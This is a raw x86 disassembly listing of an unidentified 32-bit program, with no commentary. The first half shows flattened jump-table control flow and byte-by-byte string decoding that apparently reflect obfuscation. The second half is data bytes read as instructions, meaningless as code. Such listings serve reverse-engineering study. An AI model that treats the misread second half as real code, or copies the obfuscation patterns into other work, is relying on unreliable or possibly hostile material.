mov edi, dword [ebp - 0x38]
jmp eax
mov edi, dword [ebp - 0x10]
mov word [edi], 0x5c
add edi, 2
add edx, 2
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [ecx + eax*4]
mov esi, edx
mov edx, edi
jmp eax
mov ax, word [edi + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x12c], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov cx, word [ebx]
xor eax, eax
test cx, cx
sete cl
mov dword [ebp - 0x1d4], 0
mov edx, dword [ebp - 0x1d8]
mov esi, dword [ebp - 0x1d4]
mov edx, dword [edx + esi*4]
jmp edx
mov al, cl
and eax, 1
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x14]
jmp eax
mov edx, dword [ebp - 0x254]
mov ebx, dword [ebp - 0x258]
mov edx, dword [ebx + edx*4]
jmp edx
call fcn.0040e960
mov dword [ebp - 0x2fc], 1
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x2fc]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov edx, dword [ebp - 0x10]
mov ecx, edx
sub ecx, ebx
seta al
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, edi
sub ecx, 3
sete al
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov eax, dword [eax + ecx*4]
jmp eax
add edx, 0xfffffffe
mov eax, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x228]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
mov byte [ebp - 0x28], al
mov esi, dword [ebp - 0x20]
mov byte [esi], 0x3a
mov byte [esi + 1], 0xf1
mov byte [esi + 2], 0x16
mov byte [esi + 3], 0xf3
mov byte [esi + 4], 0xec
mov byte [esi + 5], 0xed
mov eax, 6
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0xb
jne 0x4411e2
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e960
mov eax, dword [ebp - 0x14]
mov esi, eax
add esi, 2
mov cx, word [eax + 2]
xor eax, eax
test cx, cx
sete cl
mov dword [ebp - 0x2a4], 0
mov edx, dword [ebp - 0x2a8]
mov edi, dword [ebp - 0x2a4]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, ebx
add eax, 4
mov cx, word [ebx + 4]
xor edx, edx
test cx, cx
sete dl
mov dword [ebp - 0xd4], edx
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xd4]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ebx, dword [0x45d61c]
jmp dword [0x4532ec]
push esi
push 0
push edi
call ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
push 0
push edi
call ebx
jmp dword [0x4532f4]
add esp, 0xc
pop esi
pop edi
pop ebx
ret
int3
mov dword [esp + 4], 0xe9eaebd4
mov dword [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x443136
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 4]
push dword [esp]
push eax
call fcn.00445c30
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x443110
mov ecx, dword [esp + 4]
jmp dword [0x453304]
mov eax, dword fs:[ecx]
jmp dword [0x45330c]
mov eax, dword fs:[ecx]
mov eax, dword fs:[ecx]
jmp dword [0x45330c]
mov ecx, dword [case.0x43f872.180]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
push esi
push 0
push dword [eax + 0x18]
call dword [0x45d624]
nop
nop
jmp dword [0x453330]
add esp, 0xc
pop esi
ret
int3
clc
inc ebx
add byte [eax - 0x66ffbc08], al
clc
inc ebx
add byte [ecx - 0x50ffbc08], ch
clc
inc ebx
add byte [eax - 0x2fffbc08], bh
clc
inc ebx
add al, dl
clc
inc ebx
add dl, dl
clc
inc ebx
add al, dl
clc
inc ebx
add byte [ebx - 6], bl
inc ebx
add byte [eax - 7], dh
inc ebx
add byte [eax - 7], dh
inc ebx
add byte [eax - 7], dh
inc ebx
add byte [ecx + 0x700043f9], al
stc
inc ebx
add byte [ebx - 6], bl
inc ebx
add byte [eax - 0x36ffbc07], ah
stc
inc ebx
add byte [eax - 0x36ffbc07], dh
stc
inc ebx
add dh, al
stc
inc ebx
add byte [edx + edi*8 + 0x43], al
add byte [eax], dh
cli
inc ebx
add byte [eax - 6], ah
inc ebx
add byte [eax - 6], ah
inc ebx
add byte [eax - 6], ah
inc ebx
add byte [edx - 6], ah
inc ebx
add byte [edx - 0x4effbc06], ch
cli
inc ebx
add al, al
cli
inc ebx
add al, al
cli
inc ebx
add al, al
cli
inc ebx
add dl, al
cli
inc ebx
add byte [eax - 0x7fffbc05], al
sti
inc ebx
add byte [eax - 0x7dffbc05], al
sti
inc ebx
add byte [edx + 0x170043fb], bl
cld
inc ebx
add byte [edx + 0x4c0043fb], bl
cld
inc ebx
add byte [eax], dh
cld
inc ebx
add byte [eax + 0x43fc], ah
push es
inc esp
add byte [ebp - 0x28ffbbf3], cl
push cs
inc esp
add byte [ebp + 0x2b00440d], cl
or al, 0x44
add byte [edi], bh
pop es
inc esp
add byte [edx + ecx + 0x73f0044], cl
inc esp
add cl, bh
cmove eax, dword [eax]
pop ebx
or eax, 233373764
inc esp
add byte [edi], ah
or eax, dword [eax + eax - 0x17]
or eax, 0xe030044
inc esp
add dh, ah
or eax, dword [eax + eax - 0x65]
push cs
inc esp
add bh, cl
cmove eax, dword [eax]
cmc
or dword [eax + eax - 24], eax
push cs
inc esp
add byte [ebx + 0x11], al
inc esp
add byte [ebx + 0x11], al
inc esp
add byte [edx + 0xd], cl
inc esp
add byte [ebp - 0x78ffbbf3], ah
pop es
inc esp
add byte [ebp - 0x5effbbf3], ah
adc byte [eax + eax - 0x7a], al
adc dword [eax + eax + 0x26], eax
or dword [eax + eax - 0x7a], eax
adc dword [eax + eax + 0x3b], eax
cmove eax, dword [eax]
call dword [ecx]
inc esp
add byte [edi], dh
or eax, 0x11130044
inc esp
add byte [edi], dh
or eax, 0x8780044
inc esp
add byte [ebx + 0x11], ah
inc esp
add byte [edx - 0x8ffbbf2], cl
push cs
inc esp
add byte [eax + 0xc], cl
inc esp
add ch, dl
or eax, dword [eax + eax - 0x58]
or eax, dword [eax + eax - 0x2b]
or eax, dword [eax + eax - 0x1e]
pop es
inc esp
add byte [ebp + 8], ch
inc esp
add dl, ah
pop es
inc esp
add byte [edx], dh
adc dword [eax + eax + 0x4f], eax
push es
inc esp
add ah, ah
or byte [eax + eax - 0x37], al
or byte [eax + eax - 0x59], al
adc dword [eax + eax + 0x3d], eax
or dword [eax + eax + 0x4d], eax
or byte [eax + eax + 0x44], al
push cs
inc esp
add byte [ebx + ecx + 0x44], ch
add byte [ebx + ecx + 0x44], ch
add byte [esi + 0xd], ch
inc esp
add byte [0x19004409], bh
adc byte [eax + eax + 0x3d], al
or dword [eax + eax + 0x2a], eax
or byte [eax + eax - 0x42], al
pop es
inc esp
add al, ch
adc byte [eax + eax + 0x19], al
cmove eax, dword [eax]
mov esi, 0xbb004407
adc dword [eax + eax - 111], eax
push es
inc esp
add byte [0x56004407], dl
adc byte [eax + eax + 0x15], al
pop es
inc esp
add al, dh
or al, 0x44
add byte [ebp + 9], dh
inc esp
add byte [ecx - 0x42ffbbfa], dl
or al, byte [eax + eax + 0xd]
or byte [eax + eax + 1], al
or eax, 0xe160044
inc esp
add byte [ecx + 6], dh
inc esp
add byte [esi], dl
push cs
inc esp
add ah, al
adc byte [eax + eax - 0x56], al
pop es
inc esp
add byte [ebp + 0x2100440b], dl
push cs
inc esp
add dh, bh
or byte [eax + eax - 0x1e], al
or dword [eax + eax + 0x7f], eax
or eax, dword [eax + eax - 0x73]
adc byte [eax + eax + 0x11], al
or eax, dword [eax + eax - 0x3a]
or dword [eax + eax - 0x6f], eax
or byte [eax + eax + 0x33], al
adc al, byte [eax + eax - 0x6f]
or byte [eax + eax - 0x61], al
or dword [eax + eax - 0x37], eax
or eax, 0x8a40044
inc esp
add cl, cl
or eax, 0xadd0044
inc esp
add byte [edx + 0x30], bh
inc esp
add bl, al
xor byte [eax + eax - 0x7f], al
xor byte [eax + eax - 0x7f], al
xor byte [eax + eax - 0x7f], al
xor byte [eax + eax + 1], al
add byte [eax], al
add byte [ecx - 0x7effbbd0], al
xor byte [eax + eax + 1], al
add byte [eax], al
add byte [eax - 0x6fffbbd0], dl
xor byte [eax + eax - 0x70], al
xor byte [eax + eax - 0x6e], al
xor byte [eax + eax - 0x6e], al
xor byte [eax + eax - 0x3d], al
xor byte [eax + eax - 0x50], al
xor byte [eax + eax - 0x44], al
xor byte [eax + eax - 0x44], al
xor byte [eax + eax - 0x44], al
xor byte [eax + eax + 1], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x61ffbbd0], dl
xor byte [eax + eax - 0x28], al
xor byte [eax + eax - 0x28], al
xor byte [eax + eax - 0x28], al
xor byte [eax + eax - 0x28], al
xor byte [eax + eax - 0x28], al
xor byte [eax + eax - 0x1a], al
xor byte [eax + eax - 0xa], al
xor byte [eax + eax - 0x75], al
xor dword [eax + eax - 0x75], eax
xor dword [eax + eax - 0x75], eax
xor dword [eax + eax - 0x75], eax
xor dword [eax + eax + 0x40], eax
xor dword [eax + eax + 0x5c], eax
xor dword [eax + eax + 0x5c], eax
xor dword [eax + eax - 0x75], eax
xor dword [eax + eax - 0x75], eax
xor dword [eax + eax + 0x70], eax
xor dword [eax + eax + 0x72], eax
xor dword [eax + eax + 0x72], eax
xor dword [eax + eax + 0x72], eax
xor dword [eax + eax + 0x72], eax
xor dword [eax + eax - 0x80], eax
xor dword [eax + eax - 0x80], eax
xor dword [eax + eax - 0x80], eax
xor dword [eax + eax - 0x7a], eax
xor dword [eax + eax + 0x50], eax
xor dword [eax + eax + 0x70], eax
xor dword [eax + eax - 0x80], eax
xor dword [eax + eax - 0x3a], eax
dec ax
add dh, al
dec ax
add byte [edx + ebx*2 + 0x5aa60048], al
dec eax
add al, cl
pop edx
dec eax
add dl, ch
pop edx
dec eax
add byte [ebx + ebx*2], cl
dec eax
add byte [edi + ebx*2 + 0x5e990048], bl
dec eax
add byte [ebx + 0x400485e], bh
pushal
dec eax
add byte [esp + ebx*2], dh
dec eax
add byte [esi + 0x5c], dl
dec eax
add byte [eax], bh
pushal
dec eax
add byte [eax + 0x5c], bh
dec eax
add dh, dh
pop esi
dec eax
add byte [ebx + ebx*2 + 0x5bb60048], dl
dec eax
add byte [esi], bh
pop esi
dec eax
add byte [eax + 0x5e], ah
dec eax
add byte [ebx + 0x5f], ah
dec eax
add al, bl
pop ebx
dec eax
add byte [ebp + ebx*2 + 0x5dd60048], dh
dec eax
add al, bh
pop ebp
dec eax
add al, dl
pop edi
dec eax
add byte [edi], ch
pop edi
dec eax
add byte [eax + 0x48], dh
add byte [esi - 0x1effb7a0], dl
dec eax
add byte [ebx], al
dec eax
add byte [0x54004865], ah
dec ax
add byte [esi - 0x47ffb79b], dh
pushal
dec eax
add dl, bl
pushal
dec eax
add ah, bh
pushal
dec eax
add dh, bh
arpl word [eax], cx
mov ah, byte [ebp + 0x48]
add byte [edx], dh
dec eax
add byte [esi + 0x62], dl
dec eax
add byte [eax + 0x62], bh
dec eax
add byte [edx - 0x1dffb79e], bl
dec eax
add byte [esi + 0x65], dl
dec eax
add ah, dh
bound ecx, qword [eax]
push ss
arpl word [eax], cx
cmp byte [ebx + 0x48], ah
add byte [ebx], bl
dec ax
add byte [ecx - 0x72ffb79d], ch
dec ax
add byte [edx], bl
pop esi
dec eax
add dh, al
dec ax
add dh, al
dec ax
add byte [edx - 0x34ffb7a4], bl
arpl word [eax], cx
invalid